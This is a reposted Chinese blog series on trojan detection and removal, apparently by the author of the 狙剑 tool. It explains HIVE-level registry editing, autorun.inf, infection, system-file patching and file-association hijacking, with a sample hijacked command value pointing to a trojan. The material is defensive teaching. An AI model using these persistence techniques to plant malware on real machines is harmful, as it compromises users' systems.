<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">打开狙剑，选择&#8220;其它功能&#8221;</span><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">&#8220;注册表编辑器&#8221;就可以打开如上图所示的狙剑注册表编辑器，这个编辑器跟系统自带的那个</span><font face="Times New Roman">Regedit.exe</font><span style="font-family: 宋体">最大的不同就是，狙剑注册表编辑器是直接操作的</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件，而没有使用任何的</span><font face="Times New Roman">Reg*</font><span style="font-family: 宋体">、</span><font face="Times New Roman">Nt*</font><span style="font-family: 宋体">、</span><font face="Times New Roman">Cm*</font><span style="font-family: 宋体">等系统的注册表操作函数，这样，所有的注册表相关</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">对这里的操作将完全没有任何效果。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">注意看上图的：</span><font face="Times New Roman"><strong>HKEY_LOCAL_MACHINE"SYSTEM</strong></font><span style="font-family: 宋体">键，再与我们上面讲到的，复制</span><font face="Times New Roman">System</font><span style="font-family: 宋体">注册表文件后，用</span><font face="Times New Roman">Regedit.exe</font><span style="font-family: 宋体">的加载配置单元，加载后的内容是不是一样的？都缺少</span><font face="Times New Roman">CurrentControlSet</font><span style="font-family: 宋体">这一个子键。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">在左侧的列表中按右键，可以选择&#8220;仅显示自启动相关项&#8221;，这时与自启动无关的项将被隐藏，方便使用注册表编辑器进行木马的查找。而如何使用注册表编辑器在</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">级别上清除木马的自启动项呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我们看下图</span><font face="Times New Roman">03-36</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="411" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204791474464833/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">仍然以我们上面用到的系统还原的驱动为例来说明，找到这个键：</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">HKEY_LOCAL_MACHINE"SYSTEM"CurrentControlSet"Services"sr</font></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">注意在右则，是这个驱动的注册内容，在上面按右键，可弹出操作菜单，里面提供了几个功能&#8220;清除项值&#8221;、&#8220;修改项值&#8221;、&#8220;修改项名&#8221;。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 宋体">清除项值：这个功能用于一般的自启动项，结果是会将&#8220;数据&#8221;那一栏的内容清零。比比如我们可以将</span><font face="Times New Roman">ImagePath</font><span style="font-family: 宋体">一项的数据清零，那么对于一般的驱动来说这个操作就可以禁止驱动的加载了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 宋体">修改项值：这个功能是修改&#8220;数据&#8221;那一栏的内容，这个用来做什么呢？呵，充分发挥想像，可以做很多事情。比如：将</span><font face="Times New Roman">Start</font><span style="font-family: 宋体">那一项的值改为</span><font face="Times New Roman">4 ! </font><span style="font-family: 宋体">为什么改为</span><font face="Times New Roman">4</font><span style="font-family: 宋体">呢？如果上面注册表基础知识那一章看得仔细就应该知道，改为</span><font face="Times New Roman">4</font><span style="font-family: 宋体">是禁用此驱动的意思。或将</span><font face="Times New Roman">ImagePath</font><span style="font-family: 宋体">一项的数据中原来的</span><font face="Times New Roman">Sr.sys</font><span style="font-family: 宋体">改为：</span><font face="Times New Roman">SS.sys </font><span style="font-family: 宋体">只改了一个字母，但驱动的加载是铁定会失败的，因为系统会在加载时努力的寻找</span><font face="Times New Roman">SS.sys</font><span style="font-family: 宋体">，结果当然是找不到了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: -21pt; line-height: 150%; tab-stops: list 21.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 宋体">修改项名：这个修改的是第一列的项名字，也就是&#8220;</span><font face="Times New Roman">Start</font><span style="font-family: 宋体">、</span><font face="Times New Roman">ImagePath</font><span style="font-family: 宋体">&#8230;&#8230;&#8221;等。呵，如何用，我就不多说了，相信也不用我多说了。项名字都是固定了，稍加改动就会使得系统认为这是无效项。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">操作</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">无疑是最底层的也是功能强大的，但用起来肯定不如使用自启动项管理方便，所以，一般情况下，这个是用不到的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">但一旦遇到变态的木马时，有这个功能，会让我们感到心里有底。比如：一旦清除木马的启动项，系统马上就蓝屏的情况我就遇到过，这是木马变态般的自我保护，而其保护的基理就是注册了注册表改变通知的消息，一旦其注册表项被改变，他就会接到系统的通知，而他一旦接到通知，就会马上使系统崩溃，让我们对其所做的修改无效。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">为什么马上系统崩溃就会使修改无效呢？这是因为系统的缓存机制在起作用，正常情况下，我们的修改只体现在了缓存中，系统通常是</span><font face="Times New Roman">5</font><span style="font-family: 宋体">秒钟为间隔的将缓存中的数据向磁盘中更新，而修改后马上崩溃，将使得系统来不及向磁盘中写入修改后的信息，导致修改无效。（后面删除文件一章中我们还会讲到这个。）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">对这个变态的木马，我的处理，只是简单的将其&#8220;</span><font face="Times New Roman">Start</font><span style="font-family: 宋体">&#8221;中的值改为了</span><font face="Times New Roman">4</font><span style="font-family: 宋体">，重启系统后，它就自然死亡了。原理也很简单，直接操作</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件绕过了系统所有的注册表操作环节，系统也不知道我们做了更改，即然系统都不知道，木马自然也得不到通知了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">总之，越向底层走，功能越强大，但操作就越不方便，风险也就越大。像狙剑的&#8220;终极修复&#8221;就是一个例子。终极修复其实也是一个操作注册表文件的例子，在系统初装时，系统会在</span><font face="Times New Roman">Windows"Repair</font><span style="font-family: 宋体">目录下，保存一份注册表</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件的完整备份，这是最原始的也是最简洁干净的注册表文件。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">终极修复利用的就是这个备份的注册表文件，用这一套文件取代现有文件，将会使得系统的全部配置回复到初装系统时的状态，那些木马病毒的自启动项自然也就不存在了。回复后的系统将是高效的、简洁的、干净的。好像微软的官方网站上也曾有过利用这种方法修复崩溃系统的思路，但现实中，却偶有修复后，无法进入系统的情况发生。原因肯定是安全相关的，但具体机理却一直不清楚，微软在安全方面的确开放的资料很少很少。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">因为这种风险的存在，使得这种修复被灌以了&#8220;终极&#8221;这个名字，终极的意思就是最终的手段，不到最后关头切勿使用。而有的朋友看漫画看多了，认为终极就是最利害的意思，为此强烈批评狙剑的终极修复其实原理很简单，不配终极这个词，这实在是让人无言以对。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">至此，自启动项的内容我们就聊完了，下面我们准备继续聊的就是文件篇，还喜欢这篇文章的朋友们，还请多支持多转载，毕竟写这个东西是很辛苦的，能让更多的人看到，也算充分发挥了其价值，也算我的熬夜辛苦没有白废，大家的支持就是我继续下去的动力。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">最后再习惯性的加上一段：此文作者为</span><font face="Times New Roman">MuseHero</font><span style="font-family: 宋体">您可任意在网络上传播与转载，但请保持完整性，并标明作者与出处。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211363.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 18:19 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211363.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之自启动项篇（五）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211362.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 10:18:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211362.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211362.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211362.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211362.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211362.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><strong><span style="color: #993300"><font face="Times New Roman">B</font></span></strong><strong><span style="color: #993300; font-family: 宋体">、自动播放式的触发启动</span></strong><span style="font-family: 宋体">。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">自动播放本是用于光盘的，当插入一个电影光盘到光驱时，系统会自动播放里面的内容，这就是自动播放的本意，播放什么是由光盘中的</span><font face="Times New Roman">AutoRun.inf</font><span style="font-family: 宋体">文件指定的。此文件的内容，通常如下：</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">———————————</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">[autorun]</font></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">open=AutoRun.exe</font></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">icon=AutoRun.ico</font></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">———————————</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">Open</font><span style="font-family: 宋体">那一行，指出了自动播放时系统自动运行的程序，</span><font face="Times New Roman">icon</font><span style="font-family: 宋体">指出了所显示的图标。后来有人用于了硬盘与</span><font face="Times New Roman">U</font><span style="font-family: 宋体">盘，在</span><font face="Times New Roman">U</font><span style="font-family: 宋体">盘或硬盘的分区，创建</span><font face="Times New Roman">Autorun.inf</font><span style="font-family: 宋体">文件，并在</span><font face="Times New Roman">Open</font><span style="font-family: 宋体">中指定木马程序，这样，当你打开硬盘分区或</span><font face="Times New Roman">U</font><span style="font-family: 宋体">盘时，就会触发木马程序的运行。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">这类启动，大部分安全工具都进行了监管，在狙剑的自启动项中会列出每个磁盘或分区的自动播放式的自启动程序。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><strong><span style="color: #993300"><font face="Times New Roman">C</font></span></strong><strong><span style="color: #993300; font-family: 宋体">、感染式的触发启动</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">这就涉及到病毒了，电脑病毒通过感染正常的程序来实现自己的传播与启动。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">计算机病毒是什么呢？其实也是一段程序，只是其完成的是特殊的工作。上面我们说过了，程序就是一份计划书，里面存的是指令序列，标明了程序所完成的工作流程。那么病毒程序的工作流程是什么样子的呢？通常情况下，病毒程序的工作流是这样的&#8220;查找其它符合感染条件的程序</span><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">判断是否已经感染</span><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">如果是则查找下一个，如果不是则修改其工作流程进行感染</span><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">执行其它任务。&#8221;</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">病毒程序又是如何感染其它程序的呢？病毒的感染其实就是对正常程序工作流程的修改，仍然用我们在进程篇中的那个例子来说明：正常情况下，一个程序存储的是一个工作的流程，如：<strong>动手取原料</strong></span><strong><font face="Times New Roman">--</font></strong><strong><span style="font-family: Wingdings">&#224;</span></strong><strong><span style="font-family: 宋体">加工</span><font face="Times New Roman">---</font></strong><strong><span style="font-family: Wingdings">&#224;</span></strong><strong><span style="font-family: 宋体">组装</span><font face="Times New Roman">---</font></strong><strong><span style="font-family: Wingdings">&#224;</span></strong><strong><span style="font-family: 宋体">验收</span></strong><span style="font-family: 宋体">等等。而一旦被病毒感染后，这个流程就会被病毒修改，修改成这个样子：<strong>找老马分派工作</strong></span><strong><font face="Times New Roman">-</font></strong><strong><span style="font-family: Wingdings">&#224;</span></strong><strong><span style="font-family: 宋体">老马执行了病毒体</span><font face="Times New Roman"> -</font></strong><strong><span style="font-family: Wingdings">&#224;</span></strong><strong><span style="font-family: 宋体">动手取原料</span></strong><font face="Times New Roman"> -</font><span style="font-family: Wingdings">&#224;</span><strong><span style="font-family: 宋体">加工</span><font face="Times New Roman">---</font></strong><strong><span style="font-family: Wingdings">&#224;</span></strong><strong><span style="font-family: 宋体">组装</span><font face="Times New Roman">---</font></strong><strong><span style="font-family: Wingdings">&#224;</span></strong><strong><span style="font-family: 宋体">验收</span></strong><span style="font-family: 宋体">等等，前两步工作就是病毒感染时硬给加上去的，以后每次执行被感染的程序时，都将从&#8220;找老马分派工作&#8221;开始，然后由老马完成自己的工作后，再转而执行此程序本应该进行的工作。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">也就是说，病毒将自己的病毒体附加到了正常的程序上面，并修改了程序的入口地址为病毒体的执行地址，最后再由病毒体执行完毕后跳回原程序的入口地址来执行原程序的功能，这一切对用户来说都是不可见的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">用户一旦运行被感染的程序，实际上也就完成了病毒木马的触发启动。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">病毒的清除并不复杂，不外乎就是一个分析，从被感染程序中找到病毒体，清掉，再恢复原程序的入口地址，就</span><font face="Times New Roman">OK</font><span style="font-family: 宋体">了。但难就难在病毒与病毒是各不相同的，而新病毒又层出不穷，这就使得这种分析与清除工作需要大量的人力与精力。所以，也只有有实力的大公司才有可能很好的维护一个病毒库，并不断的分析新病毒来更新病毒库。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">所以，朋友们遇到感染型的病毒后，最先要做的就是提交样本给杀毒软件公司，而不是找安全工具的开发者求助，一个安全工具的开发者，我相信是有能力清除病毒的，但我同样相信，他是没有精力去做这些事情的，这种工作不是一个人可以做得来的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><strong><span style="color: #993300"><font face="Times New Roman">D</font></span></strong><strong><span style="color: #993300; font-family: 宋体">、修改式的触发启动</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">修改式的触发启动，主要是指修改原本为正常启动的环节，实现自身的启动，这个与感染式的比较像，但又不同。他们的修改并非大量的，而是有针对性的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">有修改引导扇区的、有修改系统文件的。修改方法与病毒感染大致相同，就是在正常的指令序列中插入自己调用病毒或木马程序的指令，以实现在自己的启动。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">这种方式隐蔽性很强，但却很难逃过以数字签名验证为主要手段的启动项检查，因为一旦系统文件被修改，即不再能通过数字签名验证，前面提到的修改</span><font face="Times New Roman">Userinit.exe</font><span style="font-family: 宋体">的木马就是这样的一个例子。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">这种方法启动的木马，还使得清理起来比较困难，因为他们修改了系统文件，需要用原有的文件进行还原性的替换修复，如果手头有系统安装盘还好一点，没有就比较麻烦了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">狙剑提供了系统文件修复的功能，其实这一功能也是调用的系统本身自带的系统文件修复，只是进行了少许的加工罢了。比如：有的光盘系统安装目录与原版系统盘并不相同，这样，用系统自带的系统文件修复功能时，即使你插入了系统安装盘，也会提示你找不到系统盘，而改进后的就可以手选择安装目录了。再比如，装机器时，有些装机员习惯在机器上拷贝一份安装目录，这样就不用频繁的插入系统光盘了。而这个硬盘上的目录，通常是不能用于系统文件修复的。改进后的多了一个全盘扫描系统安装目录的功能，你可以指定或让狙剑自动扫描安装目录后，再进行修复。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">修改引导区的，现在已经很少见到了，很多杀软都提供了恢复引导区的功能，相反，这种很少见的木马启动方式，安全工具反而很少有提供恢复的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><strong><span style="color: #993300"><font face="Times New Roman">E</font></span></strong><strong><span style="color: #993300; font-family: 宋体">、事件触发启动</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">呵，分类是我自己分的，名字也是自己取的，是否贴切很难说，大家就凑合着看吧。事件是指当你进行某项工作时，比如：下载</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">与文件关联不同的是这种触发并不区分你下载的是哪一类的文件，也无须打开下载的文件，只要有下载的事件发生，就会触发。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">用过迅雷的朋友可能有体会，一旦下载东西，迅雷就会自动打开，而无论先前迅雷是否已经运行。试想，如果木马也有同样的本事，我们一下载东西就打开木马，那岂不是很可怕？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">目前我只发现了迅雷有这种功能，是否还有其它事件触发启动的程序存在，还不得而知。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">总之，启动的方式多种多样，手法也是各有不同，想一网打尽几乎是不可能的，只能是尽力的发现、加入、再有发现、再加入。而以上说的也只是常见的，还有一些并不常见的，我也就不多说了，因为没发现有利用的，这里也就不提了，以免被坏人利用。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">下面我们开始聊聊自启动项的隐藏与保护，虽然分成了隐藏与保护，但两者使用的也大多是相同的技术，也就合在一起聊了，能保护也就能隐藏，反之亦然。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211362.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 18:18 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211362.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之自启动项篇（四）(转)</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211361.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 10:17:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211361.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211361.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211361.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211361.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211361.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; line-height: 150%"><strong><span style="color: blue"><font face="Times New Roman">3</font></span></strong><strong><span style="color: blue; font-family: 宋体">、触发式启动的程序</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">什么叫做触发式启动的程序呢？触发式启动程序是指需要用户进行某一操作来触发而启动的程序。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><strong><span style="color: #993300"><font face="Times New Roman">A</font></span></strong><strong><span style="color: #993300; font-family: 宋体">、最常见的就是文件关联式的触发启动。</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">比如说修改</span><font face="Times New Roman">exe</font><span style="font-family: 宋体">文件关联的木马，每当你运行</span><font face="Times New Roman">exe</font><span style="font-family: 宋体">文件时都将触发木马程序的执行，同样的，如果修改了</span><font face="Times New Roman">gif</font><span style="font-family: 宋体">文件关联，那么每当你打开</span><font face="Times New Roman">gif</font><span style="font-family: 宋体">文件时，就会触发木马程序的执行。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">下面我们就详细讲解一下修改文件关联的木马，我们以</span><font face="Times New Roman">gif</font><span style="font-family: 宋体">文件为例，先看下图</span><font face="Times New Roman">03-28</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="382" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204891500948229/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">如果在&#8220;注册基础知识&#8221;一章中看仔细了，那么应该知道</span><font face="Times New Roman">HKEY_CLASSES_ROOT</font><span style="font-family: 宋体">键下存储的正是文件关联信息。看上图，各子键大都是以&#8220;</span><font face="Times New Roman">.</font><span style="font-family: 宋体">&#8221;开始的后面跟三个字母，想一想跟什么比较为像？呵，当然是文件的扩展名了。</span><font face="Times New Roman">Explorer.exe </font><span style="font-family: 宋体">、</span><font face="Times New Roman">Regedit.exe </font><span style="font-family: 宋体">&#8230;&#8230;</span><span style="font-family: 宋体">后面的扩展名说明了文件的类型，</span><font face="Times New Roman">.exe</font><span style="font-family: 宋体">是</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">可执行文件。</span><font face="Times New Roman">A.gif</font><span style="font-family: 宋体">、</span><font face="Times New Roman">B.gif</font><span style="font-family: 宋体">&#8230;&#8230;后面的扩展名</span><font face="Times New Roman">GIF</font><span style="font-family: 宋体">说明了文件是</span><font face="Times New Roman">GIF</font><span style="font-family: 宋体">图片，那么我们如何查看哪一类型的文件是由哪个程序来打开的呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">看上图中的</span><font face="Times New Roman">.gif</font><span style="font-family: 宋体">键，其&#8220;默认&#8221;值是&#8220;</span><font face="Times New Roman">giffile</font><span style="font-family: 宋体">&#8221;。然后，我们再在</span><font face="Times New Roman">HKEY_CLASSES_ROOT</font><span style="font-family: 宋体">键下找到&#8220;</span><font face="Times New Roman">giffile</font><span style="font-family: 宋体">&#8221;子键，如下图</span><font face="Times New Roman">03-29</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="369" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204881241798398/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">在</span><font face="Times New Roman">giffile</font><span style="font-family: 宋体">下的</span><font face="Times New Roman">shell"open"command </font><span style="font-family: 宋体">键的默认值，标明了当你双击</span><font face="Times New Roman">gif</font><span style="font-family: 宋体">文件时，系统所要做的动作，这里的数据是&#8220;</span><font face="Times New Roman">rundll32.exe C:"WINDOWS"system32"shimgvw.dll,ImageView_Fullscreen %1</font><span style="font-family: 宋体">&#8221;，也就是说当你打开</span><font face="Times New Roman">GIF</font><span style="font-family: 宋体">图片时，系统会执行上面的命令，解释如下：运行</span><font face="Times New Roman">rundll32.exe</font><span style="font-family: 宋体">来调用</span><font face="Times New Roman">C:"WINDOWS"system32"shimgvw.dll</font><span style="font-family: 宋体">这个动态库，而参数就是</span><font face="Times New Roman">ImageView_Fullscreen</font><span style="font-family: 宋体">，后面的</span><font face="Times New Roman">%1</font><span style="font-family: 宋体">在执行中会用你双击的图片名字替换掉。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">结果就是打开了图片浏览器来浏览这个图片，我们下面修改一下这个值，改成：</span><font face="Times New Roman">"D:"Adobe"Photoshop CS"Photoshop.exe" "%1" </font><span style="font-family: 宋体">那么再次双击</span><font face="Times New Roman">GIF</font><span style="font-family: 宋体">图片文件时，执行的结果就是运行</span><font face="Times New Roman">Photoshop.exe</font><span style="font-family: 宋体">来编辑这个图片了，而不是再用图片浏览器浏览。（当然了，</span><font face="Times New Roman">D:"Adobe"Photoshop CS"Photoshop.exe</font><span style="font-family: 宋体">是我机器上</span><font face="Times New Roman">Photoshop.exe</font><span style="font-family: 宋体">安装的路径，你需要改成你机器上的路径，其实你也可以改成任何一个程序）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">如果木马修改了这个值呢？改成了&#8220;</span><font face="Times New Roman">C</font><span style="font-family: 宋体">：</span><font face="Times New Roman">"</font><span style="font-family: 宋体">木马</span><font face="Times New Roman">.exe&nbsp;%</font><font face="Times New Roman">1</font><span style="font-family: 宋体">&#8221;<span style="font-family: 宋体">那么，一旦你双击</span><font face="Times New Roman">GIF</font></span><span style="font-family: 宋体">图片文件想浏览一下图片时，系统就会很忠实的依照注册表中的这个值，启动&#8220;</span><font face="Times New Roman">C</font><span style="font-family: 宋体">：</span><font face="Times New Roman">"</font><span style="font-family: 宋体">木马</span><font face="Times New Roman">.exe</font><span style="font-family: 宋体">&#8221;，从而将木马触发启动，而木马也会在自己启动后，再度调用原有的程序将图片打开，这样，对你来说，是没有任何感觉的，你只知道双击一个图片后，图片打开了，而不会知道发生在这中间的一切。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">当前常见的木马对文件关联的修改都是以</span><font face="Times New Roman">exe</font><span style="font-family: 宋体">、</span><font face="Times New Roman">com</font><span style="font-family: 宋体">、</span><font face="Times New Roman">txt</font><span style="font-family: 宋体">等常见类型居多，而大多数安全软件也都对这几个常见的关联项进行了检查，但是木马开发者不是傻瓜应该是毫无疑问的事实，明知道常见类型会被安全软件监管后，他们还会修改常见的类型吗？呵，系统中可供修改的文件关联简直太多了。</span><font face="Times New Roman">Rar</font><span style="font-family: 宋体">文件，是常见的压缩格式文件，从网上下载的文件有很多是以这种格式压缩的，修改了它，一旦你打开下载的压缩包时就将启动木马。</span><font face="Times New Roman">BMP</font><span style="font-family: 宋体">、</span><font face="Times New Roman">GIF</font><span style="font-family: 宋体">、</span><font face="Times New Roman">JPEG</font><span style="font-family: 宋体">等图片文件、</span><font face="Times New Roman">AVI</font><span style="font-family: 宋体">、</span><font face="Times New Roman">RM</font><span style="font-family: 宋体">等电影文件，修改任何一个，都将有很大机会被触发，而修改多个呢？</span></p>
<br />

